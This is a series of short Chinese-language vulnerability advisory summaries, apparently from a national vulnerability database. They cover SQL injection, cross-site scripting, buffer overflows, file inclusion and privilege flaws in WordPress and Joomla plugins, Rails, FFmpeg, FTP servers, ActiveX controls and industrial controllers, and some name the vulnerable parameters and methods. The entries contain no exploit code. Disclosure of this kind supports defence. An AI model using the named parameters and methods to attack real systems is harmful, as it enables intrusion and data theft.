Pop-Over Login Form (ASP)中存在多个SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有进行充分过滤，远程攻击者可借助username和password参数访问或者修改数据。
Stunnel是一个自由的跨平台软件，用于提供全局的TLS / SSL 服务。Stunnel存在一个未明错误，远程攻击者可以利用漏洞破坏堆内存，可能导致以应用程序上下文执行任意代码。
Joomla!是一款开放源码的内容管理系统。Joomla JoomTouch组件存在本地文件包含漏洞，目前没有详细细节提供。
Website Baker是一个基于PHP的内容管理系统。Website Baker存在任意文件上传漏洞。由于应用程序未能充分过滤用户输入，攻击者可以利用漏洞上传任意代码，并在Web服务器进程上下文运行。这可能有助于攻击者进行未经授权的访问或特权升级，其他的攻击也是可能的。
Drupal是一款开放源码的内容管理平台，Addresses是Drupal的模块。Drupal Addresses模块存在脚本注入漏洞。由于通过在账户创建格式中的某些字段传递的输入在显示给用户之前，在addresses.inc函数中未被正确过滤，攻击者可以利用漏洞插入任意HTML和脚本代码，并且当恶意数据被查看时，在受影响的站点上下文的用户浏览器会话中执行任意代码。
Contrexx是一款开源的内容管理系统。Contrexx Shopsystem模块存在SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件File Groups存在SQL注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Contus HD FLV Player存在SQL注入漏洞，目前没有详细细节提供。
MantisBT是一个基于PHP技术的开源缺陷跟踪系统。 MantisBT存在跨站脚本漏洞。由于通过"project_id"参数传递至search.php的输入返回用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户的浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Ajax Gallery插件存在SQL注入漏洞，由于list.php脚本中缺少对gId参数的合法性判断语句，导致SQL注入攻击。远程攻击者可利用此漏洞，导致敏感信息泄露。
PHP是一款流行的编程语言。error_log()存在一个安全漏洞，可导致应用程序崩溃。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Global Content Blocks插件存在SQL注入漏洞，由于gcb_export.php脚本中缺少对gcb参数的合法性判断语句，导致SQL注入攻击。攻击者可构造恶意的SQL查询语句，获取相关信息。
Adobe ColdFusion是一款高效的网络应用服务器开发环境。Adobe ColdFusion probe.cfm不正确过滤用户提交的参数，攻击者可以进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Menu Creator插件存在SQL注入漏洞，由于updateSortOrder.php脚本中缺少对menu_id参数的合法性判断语句，导致SQL注入攻击。远程攻击者可利用此漏洞导致敏感信息泄露。
WordPress是一种使用PHP语言开发的博客平台。WordPress OdiHost Newsletter插件的PHP代码中由于未对用户提交的内容做任何处理而直接带入SQL查询导致SQL注入漏洞的产生，允许远程攻击者利用此漏洞执行任意代码。
Elgg是开源的社交网络平台。Curverider Elgg存在多个SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
StudioLine Photo Basic是一款照片管理软件，并拥有丰富的图像编辑工具。NMSDVDX.DVDEngineX.1 (NMSDVDXU.dll) ActiveX控件包含不安全"EnableLog()"方法，可被利用以登录用户上下文破坏或创建任意文件。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。Skype不正确过滤下面用户信息条目中的输入和输出：- home- office- mobile攻击者可以进行跨站脚本攻击，可能获得敏感信息或劫持用户会话。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。Ruby on Rails存在任意代码执行漏洞，"strip_tags"函数没有正确过滤部分输入，可被利用在目标用户浏览器上执行任意HTML和脚本代码。
awiki存在多个本地文件包含漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在web服务器进程上下文中获取潜在的敏感信息并执行任意本地脚本。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。Ruby on Rails存在HTTP注入漏洞，内容类型处理在返回用户之前没有正确过滤部分输入，可被利用注入任意HTTP头，包括发送给用户的应答。此漏洞只影响2.3.x版本。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。Ruby on Rails存在模版选择机制漏洞，可利用模版选择机制存在的错误强制应用程序使用受限视图处理。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。Ruby on Rails存在安全漏洞，传递给"quote_table_name"方法的输入在用于SQL注入之前缺少过滤，可通过注入任意代码操作SQL查询。
NppFTP Plugin For Notepad++是一款文本编辑软件notepad++的ftp插件。NppFTP Plugin For Notepad++不正确处理特制的'LIST'命令，远程攻击者可以利用漏洞构建恶意服务器，诱使用户访问触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
RSA Adaptive Authentication是一款多用于大型金融机构的集中的、多层的认证解决方案。Adaptive Authentication (On-Premise)存在一个问题，在某些情况下会影响out-of-the-box可用验证方法。在部分环境下，当验证信息泄露时，如果能获取会话信息，这验证信息可在活动会话中重用，导致绕过验证，访问受限资源。
MasqMail是一款简易邮件服务器。MasqMail存在安全漏洞，当更改特权时应用程序没有正确校验返回值，攻击者可以高特权执行某些操作。
MasqMail是一款简易邮件服务器。MasqMail更改有效用户和组ID时存在逻辑错误，可导致以高特权运行应用程序，执行管理操作。
FlexNet License Server Manager是一款许可证服务管理程序。默认监听TCP 27000端口的证书服务管理器存在缺陷，由于目录遍历问题和一些文件重命名缺陷，攻击者可以利用这些漏洞以证书服务器管理守护程序上下文执行任意代码。
Kolay PageRank Sorgulama脚本存在跨站脚本漏洞。由于应用程序在用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，或窃取基于Cookie的身份验证凭据并发起其他攻击。
WordPress是一款流行的blog系统。IP Logger是WordPress的一款插件。WordPress IP Logger插件存在SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Ruby on Rails简称RoR 或Rails，是一个使用Ruby语言写的开源Web应用框架，它是严格按照MVC结构开发的。Ruby on Rails在实现上存在多个漏洞包括SQL注入、信息泄露、HTTP标头注入、安全限制绕过和跨站脚本攻击，远程攻击者可利用此漏洞操作数据、泄露敏感信息、注入任意HTTP标头、执行任意脚本代码并绕过某些安全限制。1）传递到"quote_table_name"方法的输入在用在SQL查询之前没有正确过滤。通过注入任意代码可被利用操作SQL查询。2）模板选择机制中的错误可被利用强制应用程序使用受限视图呈现。3）在返回给用户之前，内容类型处理没有正确过滤某些输入。可被利用插入发送给用户的响应中的任意HTTP标头。4）"strip_tags"函数没有正确过滤某些输入，可被利用在受影响站点的用户浏览器会话中执行任意HTML和脚本代码。5）检测逃避机制没有正确处理某些Unicode序列，可被利用绕过逃避机制并执行跨站脚本攻击。
Sagem F@st Routers是一款路由器产品。Sagem Fast路由器(3304-V1 / 3304-V2 / 3464 / 3504)存在默认ISP没有更改的预配置root密码，并创建了另一个管理账户。由于算法存在问题，攻击者可以利用漏洞获得用户密码，并对设备进行访问。
SurgeFTP是一款FTP服务程序，提供管理接口程序。SurgeFTP的Web接口在实现上存在多个跨站脚本执行漏洞，远程攻击者可利用此漏洞在受影响站点的用户浏览器中执行任意脚本代码，窃取Cookie身份验证凭证。
Security Management和Multi-Domain Security Management (Provider-1)通过将安全管理细分为多个虚拟机提供了更多的安全和控制。Security Management在实现上存在创建临时文件漏洞，本地攻击者可利用此漏洞执行符号链接攻击，覆盖受影响应用程序中的任意文件。
Nortel Media Application Server是一款Notel推出的媒体应用服务器解决方案。默认监听TCP 52005的cstore.exe组件存在缺陷，处理CONTENT_STORE_ADMIN_REQ报文类型时进程没有正确检查'cs_anams'参数提供的长度值，拷贝用户提供的数据到栈中固定长度的缓冲区时，可触发缓冲区溢出，成功利用漏洞可以以SYSTEM用户上下文执行任意代码。
Microsoft Windows是一款流行的操作系统。Microsoft Windows 7 RPC处理畸形DHCPv6消息存在漏洞，允许远程攻击者对服务进行拒绝服务攻击。要利用此漏洞，需要攻击者截获DHCPv6通信，截获通信后，需要修改对应的应答包含畸形域搜索列表选项。接收到此畸形报文时，远程机器上的RPC会失败，丢失任何基于RPC的服务，也可能导致丢失某些COM功能。
Microsoft Internet Explorer是一款流行的WEB浏览器。Microsoft Internet Explorer 9 'Iedvtool.dll'处理畸形HTML存在空指针引用错误，攻击者构建恶意WEB页，诱使用户解析，可导致应用程序崩溃。
ktsuss是一款简单的图形化SU程序。ktsuss存在安全漏洞，setuid ktsuss程序执行GTK接口子进程来提示用户名和密码，此GTK接口以root运行，通过GTK_MODULES环境变量允许任意代码执行。
ktsuss是一款简单的图形化SU程序。ktsuss存在安全漏洞，当目标UDI与实际UID相同时ktsuss就会跳过验证，在某些情况下，ktsuss没有正确的把有效UDI更改回实际UID(src/ktsuss.c 1.3 118行中)。
F-Secure BlackLight工具用于检测隐藏的文件，文件夹和进程。"rootkit eliminator"存在特权提升漏洞，单用户可更改替换可执行文件。漏洞成因是把'fsbl.exe'文件设置对'Everyone'组为'C'标记(change/write)。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的Vportfolio组件没有充分过滤用户提供的输入数据，导致存在目录遍历漏洞。远程攻击者可利用该漏洞获取敏感信息。
WordPress的Link Library插件中存在SQL注入和跨站脚本攻击漏洞。远程攻击者可借助id参数窃取基于cookie的认证证书，访问或者修改数据。
Contrexx是一款开放源码的内容管理系统。Contrexx存在安全漏洞，由于通过"productId"参数传递到index.php（当section" 设置为"shop"）的输入在用于SQL查询之前未能正确过滤，攻击者可以利用漏洞来进行SQL注入攻击。
MPlayer是一款流行的媒体播放程序。MPlayer subreader.c提供的"sub_read_line_sami()"函数存在边界错误，构建特制的SAMI字幕文件，诱使用户解析，可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Android版Dropbox是一款用于安卓系统上的在线文件存储/同步服务。Android应用程序可通过程序功能导出来与其他应用程序相互通信，如IPC endpoint。这可在AndroidManifest.xml文件中定义。Android应用程序的任意功能可到处，也就意味着其他应用程序可以访问这些功能并跨沙盒与这些应用程序交互。恶意程序可借助Dropbox应用程序导出的内容提供程序，无需与用户交互，上传设备中的文件到相关联的Dropbox账户，也可使用相同方法上传Dropbox设置和内容数据库。
Easy Chat Server是一个简单、快速的即时聊天系统，用户可以连接Easy Chat Server通过浏览器实时网络聊天。EFS Software Easy Chat Server存在安全漏洞，攻击者可以利用此漏洞以应用程序上下文执行任意代码。
Calisto Light，Light Plus和Full中存在多个SQL注入漏洞。由于用户提供的输入在被用于SQL查询之前没有经过正确过滤，远程攻击者可利用这些漏洞访问或修改数据，并绕过管理员验证或用户验证。
多个厂家的路由器产品由于OSPF协议规范的设计错误存在远程安全漏洞。远程攻击者需要连接器路由器到受害者网络也需要LSA流量的加密密钥，然后通过诱使网络用户接受受控路由器处的LSA更新，创建网络路由器循环，攻击者可利用这些漏洞造成拒绝服务，执行未授权操作。
LiteServe是一个全功能的网站架设工具软件包。LiteServe在FTP PASV命令的处理上存在远程拒绝服务漏洞，远程攻击者可利用此漏洞使受影响应用程序崩溃，拒绝服务合法用户，也可能会执行任意代码。
Project是微软Office套件中的项目管理和控制组件。  Project 25中存在多个安全漏洞。攻击者可利用这些漏洞导致拒绝服务，获取潜在敏感信息以及向安全信道中注入未经验证的流量。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的eShop插件没有对用户提供的输入进行正确过滤，导致存在多个跨站脚本攻击漏洞。远程攻击者可利用这些漏洞执行受影响站点上下文用户浏览器中的任意脚本代码并窃取基于cookie的认证证书。
Joomla!是一款开放源码的内容管理系统。Joomla!TNR ESearch‘com_esearch’组件存在SQL注入漏洞，这是因为没有充分地验证‘searchId’参数的用户输入，就进行SQL查询，导致SQL注入攻击。攻击者可利用此漏洞完全控制受影响程序，或利用底层数据库信息发起进一步攻击。
Qt是一个简化编写和维护用于X窗口系统的GUI。qtnx客户端把非定制SSH密钥存储在全局可读的配置文件中，如果用户没有安全的设置HOME目录(如全局可读或全局可执行)，允许其他本地系统上的用户获得密钥用于连接远程NX会话。
Mambo是一款基于PHP的内容管理程序。Mambo存在安全漏洞，由于"zorder"参数在提交给administrator/index2.php脚本时缺少正确过滤，允许攻击者进行SQL注入攻击，可操作数据库或获得敏感信息。
TeeChart Pro是一个强大的VCL图表组件，支持上百种2D和3D图表风格。TeeChart Professional ActiveX组件存在整数溢出，攻击者可以构建恶意链接或HTML，诱使用户解析，可以以应用程序上下文执行任意代码。问题存在于'TeeChart2010.ocx' ActiveX控件提供的AddSeries()方法中，对'TeeChart.TChart.9'参数缺少充分检查，可触发整数溢出。
Microsoft Windows是微软发布的非常流行的操作系统。  Microsoft Windows中存在权限提升漏洞。本地用户可利用该漏洞以系统级别权限执行任意代码。
AChecker是开源的检查网站的易用性软件。  AChecker 1.2及其他版本中存在多个跨站脚本攻击漏洞。由于用户提供的输入在被用于动态生成内容之前没有经过正确过滤，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
Lasernet CMS 1.5及其他版本中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助id参数访问或者修改数据。
Acoustica Mixcraft 1.0及其他版本中存在拒绝服务漏洞。远程攻击者可借助.mxc文件使受影响应用程序崩溃，拒绝服务合法用户。
HP OpenView Performance Insight中存在安全绕过漏洞和HTML注入漏洞。远程攻击者可借助HTML注入漏洞注入可运行在受影响站点上下文中的恶意HTML和脚本代码，并窃取基于cookie认证证书或者控制站点如何呈现给用户，攻击者可借助安全绕过漏洞绕过某些安全限制并在受影响应用程序中执行非法操作。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的TNR ESearch中的com_esearch组件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助searchId参数访问或者修改数据。
Windows平台上的HP Easy Printer Care Software 2.5和之前版本的HPTicketMgr.dll中存在代码执行漏洞。远程攻击者可借助ActiveX控件在受影响应用程序上下文中执行任意代码。
Phone Drive可把ios设备变成一个具有分享功能的移动存储设备。Phone Drive不正确解析用户提交的包含"..%2f"目录遍历序列的字符，攻击者可以利用漏洞获取读取服务器root目录之外的任意文件。
Sybase Unwired Platform是一款移动企业应用程序平台，可支持快捷地开发移动应用程序，以使企业用户能够利用多种移动设备安全地访问广泛的业务数据。RIM黑莓设备平台上的Sybase Unwired Platform包含一个安全漏洞，其设备数据库在某些条件下没有正确加密。恶意物理访问的用户可绕过某些安全限制。
BlackBerry Enterprise Server是一款BlackBerry企业解决方案中的一个组件。BlackBerry Enterprise Server提供的BlackBerry MDS连接服务和BlackBerry消息代理处理PNG和TIFF图像(用于在黑莓智能手机上渲染)存在漏洞。成功利用漏洞可以获得对BlackBerry Enterprise Server的访问并执行任意代码。根据配置的BlackBerry Enterprise服务账户的特权，攻击者可以对内部网络进行进一步渗透。要通过BlackBerry MDS连接服务处理PNG和TIFF图像来触发漏洞，攻击者必须创建一个特制WEB页，诱使黑莓智能手机点击WEB上的链接来触发此漏洞。攻击者可以在Email或短消息中提供链接。要通过BlackBerry消息代理处理PNG和TIFF图像，攻击者必须构建特制的PNG和ITFF图像，嵌入到Email消息中，并把消息发送给黑莓智能手机用户，在这个攻击场景中，用户不需要点击链接、图像或查看Email消息。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg和Libav项目使用的开源视频编码解码库libavcodec没有对缓冲区索引进行充分检查，缺失的检查可向目标缓冲区之外的位置进行越界读/写。此漏洞影响中文AVS video (CAVS)文件格式解码器，特制的CAVS可导致任意代码执行。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg libavcodec处理CAVS文件文件时存在多个越界读错误，构建恶意文件，诱使用户解析，可导致链接此库的应用程序崩溃。
BisonFTP Server是一款FTP服务程序。BisonFTP Server不正确处理用户提交的FTP请求，远程攻击者可以利用漏洞进行缓冲区溢出攻击，可以以应用程序上下文执行任意代码。
Ax.25 Tools用于配置hamradio接口的网络工具，包含一些hamradio特定网络守护程序。AX.25守护程序(ax25d)以特定用户账户上下文运行，由于ax25d对负责丢弃特权的setuid调用的返回代码缺少检查，可能导致setuid失败，之后可选择的程序可以root特权执行。
ATutor是开放源码的基于Web的学习内容管理系统(LCMS)。  ATutor 2.0.2及其他版本中存在信息泄露，SQL注入和跨站脚本攻击漏洞，该漏洞源于应用程序没有对用户提供的输入进行充分过滤。远程攻击者可利用信息泄露漏洞访问敏感信息，利用SQL注入漏洞访问或者修改数据，以及利用跨站脚本攻击漏洞执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
AContent 1.1及其他版本没有充分过滤用户提供的输入，导致存在跨站脚本攻击和多个SQL注入漏洞。远程攻击者可利用这些漏洞访问或者修改数据并在受影响站点上下文的用户浏览器中执行任意脚本代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  Wordpress的UPM Polls插件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助qid参数访问或者修改数据。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 Core中存在多个远程漏洞，包括信息泄露，安全绕过和跨站脚本攻击漏洞。无法正确过滤URL参数，typolink函数的&ldquo;JSwindow&rdquo;属性易受到跨站脚本执行攻击。如果使用了第三方扩展&ldquo;realurl&rdquo;且其配置参数&ldquo;doNotRawUrlEncodeParameterNames&rdquo;设置为FALSE（默认），则不存在此问题。远程攻击者可利用这些漏洞绕过安全限制，查看敏感信息并窃取基于cookie的认证证书。
Microsoft Internet Explorer是一款流行的WEB浏览器。Microsoft Internet Explorer使用的telnet URI协议处理器存在一个远程代码执行漏洞，攻击者构建一个WEB页，诱使用户解析，可以登录用户上下文执行任意代码。
HESK是基于PHP的帮助台软件，允许用户建立基于网站的票务支持系统。HESK存在跨站脚本漏洞。由于附加到/language/en/text.php后的URL的输入在返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
XpressEngine是开源的PHP网站管理程序。XpressEngine存在HTML注入漏洞。由于应用程序在用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文执行HTML和脚本代码，窃取基于Cookie的身份验证凭据或控制网站的呈现方式。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark提供的ANSI A接口(IS-634/IOS)解析器处理某些ANSI A MAP捕获文件存在死循环缺陷。如果wireshark从网络中读取恶意报文或打开恶意报文捕获文件，可导致应用程序挂起。
HESK是基于PHP的帮助台软件，允许用户建立基于网站的票务支持系统。HESK存在跨站脚本漏洞。由于通过hesklang[attempt]参数传递至/inc/目录多个文件的输入，在返回至用户之前没有正确过滤。攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
CMS Pro!是一款内容管理系统。CMS Pro!存在跨站请求伪造漏洞。由于应用程序允许用户通过未执行任何有效性检查的HTTP请求，来执行某些操作以验证请求。攻击者可以利用漏洞通过欺骗管理员访问恶意网站来更改用户权限。
HESK是基于PHP的帮助台软件，允许用户建立基于网站的票务支持系统。HESK存在跨站脚本漏洞。由于通过hesk_settings[tmp_title]和hesklang[ENCODING]参数传递到/inc/header.inc.php的输入在返回至用户之前没有正确过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
McAfee SaaS Endpoint Protection是一款提供了用于拦截病毒、间谍软件、Web 威胁和黑客攻击的基本保护功能的解决方案。McAfee SaaS Endpoint Protection由于MyAsUtil5.2.0.603.dll提供的ActiveX控件存在安全漏洞。首先跨站脚本可用于绕过MyASUtil.SecureObjectFactory.CreateSecureObject()中实现的域执行策略来创建一个MyASUtil.InstallInfo实例，之后MyASUtil.InstallInfo.RunUserProgram()可用于在系统上执行代码。另外用户系统上多个其他对象和接口可任意使用这个通用机制。
WebKit是一款开放源代码的浏览器引擎。WebKit存在安全漏洞，攻击者可以利用漏洞引诱用户访问恶意网页，导致任意代码执行或拒绝服务。
Perception LiteServe是一款FTP服务程序。Perception LiteServe不正确处理PASV命令，远程攻击者可以利用漏洞使应用程序停止响应，造成拒绝服务攻击。
McAfee SaaS Endpoint Protection是一款提供了用于拦截病毒、间谍软件、Web 威胁和黑客攻击的基本保护功能的解决方案。McAfee SaaS Endpoint Protection myCIOScn.dll存在缺陷。首先通过ActiveX导出的MyCioScan.Scan.ReportFile参数可设置为任意文件名，包括敏感系统文件和目录，其次，可构建特制的MyCioScan.Scan.Start()方法的参数，把恶意脚本注入到在AV扫描结束时创建的日志文件中。组合这两个缺陷可使远程攻击者以浏览器上下文执行任意代码。
Intel Active System Console是一款轻量级控制台，在单个服务器上可监视基础服务器硬件信息。Intel Active System Console由于Intel Multi-Server Manager允许IT管理员管理服务器硬件。在某些环境下，远程恶意攻击者可以利用Intel Active System Console version 4.4和Intel Multi-Server Manager version 1.0中的问题，使受影响系统变得不稳定，造成拒绝服务攻击。
Drupal是一款开放源码的内容管理平台，Mail Logger是Drupal的模块。Drupal Mail Logger模块存在多个HTML注入漏洞。由于应用程序未能正确验证用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文执行任意脚本代码，或窃取基于Cookie的身份验证凭据。
Search Network是一款广告搜索网站。Search Network存在跨站脚本漏洞。由于应用程序对用户提交的数据缺少过滤，攻击者可以在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，或窃取基于Cookie的身份验证凭据，并发动其他攻击。
Moodle是一款开放源代码的网络教学应用程序。Moodle处理课程创建访问权限存在错误，可被利用更改某个课程的本地过滤器设置。
Community Server(CS)是一款Asp.net开源软件。Community Server存在跨站脚本漏洞。由于应用程序对用户提供的数据缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Moodle是一款开放源代码的网络教学应用程序。Moodle角色分派WEB服务提供的"role_assign()"函数存在错误，由于没有正确校验访问权限可被利用指派角色。
Community Server(CS)是一款Asp.net开源软件。Community Server存在HTML注入漏洞。由于应用程序在用于动态生成的内容之前没有正确验证用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文执行HTML和脚本代码，窃取基于Cookie的身份验证凭据或控制网站如何呈现给用户。
WordPress是一款流行的blog系统。ProPlayer是WordPress的一款插件。WordPress ProPlayer插件存在SQL注入漏洞。由于应用程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款流行的blog系统。Social Slider是WordPress的一款插件。WordPress Social Slider插件存在SQL注入漏洞。由于应用程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Cart是一款电子购物系统。Cart存在SQL注入漏洞，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Cart是一款电子购物系统。Cart存在本地文件包含漏洞。攻击者可以利用漏洞使用目录遍历字符串，在Web服务器进程上下文中查看并执行任意本地文件。
AChecker是开源的检查网站的易用性软件。AChecker存在多个SQL注入漏洞。由于应用程序在用于SQL查询之前未能正确验证用户提供的输入，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的漏洞。
WordPress是一款流行的blog系统。Media Library Categories是WordPress的一款插件。WordPress Media Library Categories插件存在SQL注入漏洞。由于应用程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Simple Machines Forum(SMF)是开源、专业级的论坛软件包，可用于搭建在线社区。Simple Machines Forum存在信息泄露漏洞。由于在某些情况下URL中包含会话凭证，攻击者可以利用漏洞获得有效的会话凭证。
Softbiz Recipes Portal是一款PHP脚本。Softbiz Recipes Portal存在多个跨站脚本漏洞。由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，或窃取基于Cookie的身份验证凭据，并发动其他攻击。
Freefloat FTP Server是一款FTP服务程序。Freefloat FTP Server处理DELE, MDTM, RETR, RMD, RNFR, RNTO, STOU, STOR, SIZE, APPE, STAT命令请求时存在输入验证错误，发送超长命令参数可触发缓冲区溢出，使应用程序崩溃。
SAP J2EE Engine Core是一款SAP NetWeaver应用程序平台的核心组件。SAP J2EE引擎存在安全缺陷，允许攻击者通过Internet入侵企业电脑系统。
CertificationKits CiscoKits CCNA TFTP Server是一款TFTP服务器，可用于帮助准备Cisco证书考试。CertificationKits CiscoKits CCNA TFTP Server不正确处理包含"../"序列的读请求，允许攻击者通过目录遍历攻击读取任意文件。
Kaba E-plex是一款电子锁系统。Kaba E-plex存在多个安全漏洞，允许物理能接触锁的攻击者绕过锁机制，未授权开门。
CertificationKits CiscoKits CCNA TFTP Server是一款TFTP服务器，可用于帮助准备Cisco证书考试。CertificationKits CiscoKits CCNA TFTP Server不正确校验包含超长文件名的WRITE请求，允许攻击者使服务崩溃。
Xataface是一个采用PHP开发的，建立在MySQL数据库基础上灵活的网站应用框架生成器。Xataface存在安全漏洞，由于Application.php没有正确检查通过"-lang"参数传递的输入，攻击者可以通过提交目录遍历序列，绕过WEB ROOT限制，读取本地资源中的任意文件。
RARLAB UnRar是一款流行的解压缩程序。RARLAB UnRar不正确处理特制的'.rar'文件，可触发缓冲区溢出，攻击者可以构建恶意文件，诱使用户解析，以应用程序上下文执行任意代码。
Siemens SIMATIC S7-300中存在硬编码证书安全绕过漏洞。远程攻击者可利用该漏洞访问受影响设备。
Ataccan E-ticaret scripti中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过正确过滤，远程攻击者可借助id参数访问或者修改数据。
phPhotoGallery登录域中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过正确过滤，远程攻击者可利用该漏洞访问或者修改数据。
mt LinkDatenbank没有充分过滤用户提供的数据，导致存在跨站脚本攻击漏洞。远程攻击者可借助b参数执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
Siemens SIMATIC S7-1200 CPU device是德国西门子（Siemens）公司的一款满足中小型自动化系统需求的小型可编程控制器。 Siemens SIMATIC S7-1200及其他版本中存在拒绝服务漏洞。远程攻击者可利用此漏洞导致受影响设备崩溃。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的com_astra组件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助F参数访问或修改数据。
NC LinkList 1.3.2及其他版本中存在跨站脚本攻击漏洞。该漏洞源于用户提供的输入在被用于动态生成目录之前没有经过正确过滤，远程攻击者可借助searchstring参数执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
BESNI OKUL PORTAL的sayfa.asp没有充分过滤用户提供的数据，导致存在跨站脚本攻击漏洞。远程攻击者可利用该漏洞执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
Online Yemek Siparis没有充分过滤用户提供的数据，导致存在HTML注入漏洞。远程攻击者可利用该漏洞在受影响浏览器上下文中运行攻击者提供的HTML和脚本代码，窃取基于cookie的认证证书或者控制站点如何呈现给用户。
vBulletin Publishing Suite和vBulletin Forum Classic的AdminCP没有正确过滤用户提供的数据，导致存在跨站脚本攻击漏洞。远程攻击者可利用该漏洞执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的Slideshow Gallery组件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助id参数访问或修改数据。
WP e-Commerce是WordPress的一款插件。WP e-Commerce plug-in for WordPress存在跨站脚本漏洞，远程攻击者可利用此漏洞在应用环境下执行脚本代码或窃取cookie信息。
com_jdirectory是一款基于Joomla!的组件。Joomla com_jdirectory没有充分地验证Itemid参数的用户输入，就用于SQL查询，导致SQL注入攻击。远程攻击者可利用此漏洞完全控制应用程序，访问或修改数据或利用底层数据库信息发起进一步攻击。
ThreeDify Designer是一款三维实体原型设计，建模，和标记的应用程序。ThreeDify Designer ActiveX控件存在缓冲区溢出漏洞，用户提供给"fileName"的参数在拷贝到ActiveSolid.dll文件"cmdSave()"方法的缓冲区时缺少正确边界检查，成功利用漏洞可以应用程序上下文执行任意代码。
ThreeDify Designer是一款三维实体原型设计，建模，和标记的应用程序。ThreeDify Designer ActiveX控件存在缓冲区溢出漏洞，用户提供给"fileName"的参数在拷贝到ActiveSolid.dll文件"cmdOpen()"方法的缓冲区时缺少正确边界检查，成功利用漏洞可以应用程序上下文执行任意代码。
ThreeDify Designer是一款三维实体原型设计，建模，和标记的应用程序。ThreeDify Designer ActiveX控件存在缓冲区溢出漏洞，用户提供给"fileName"的参数在拷贝到ActiveSolid.dll文件"cmdImport()"方法的缓冲区时缺少正确边界检查，成功利用漏洞可以应用程序上下文执行任意代码。
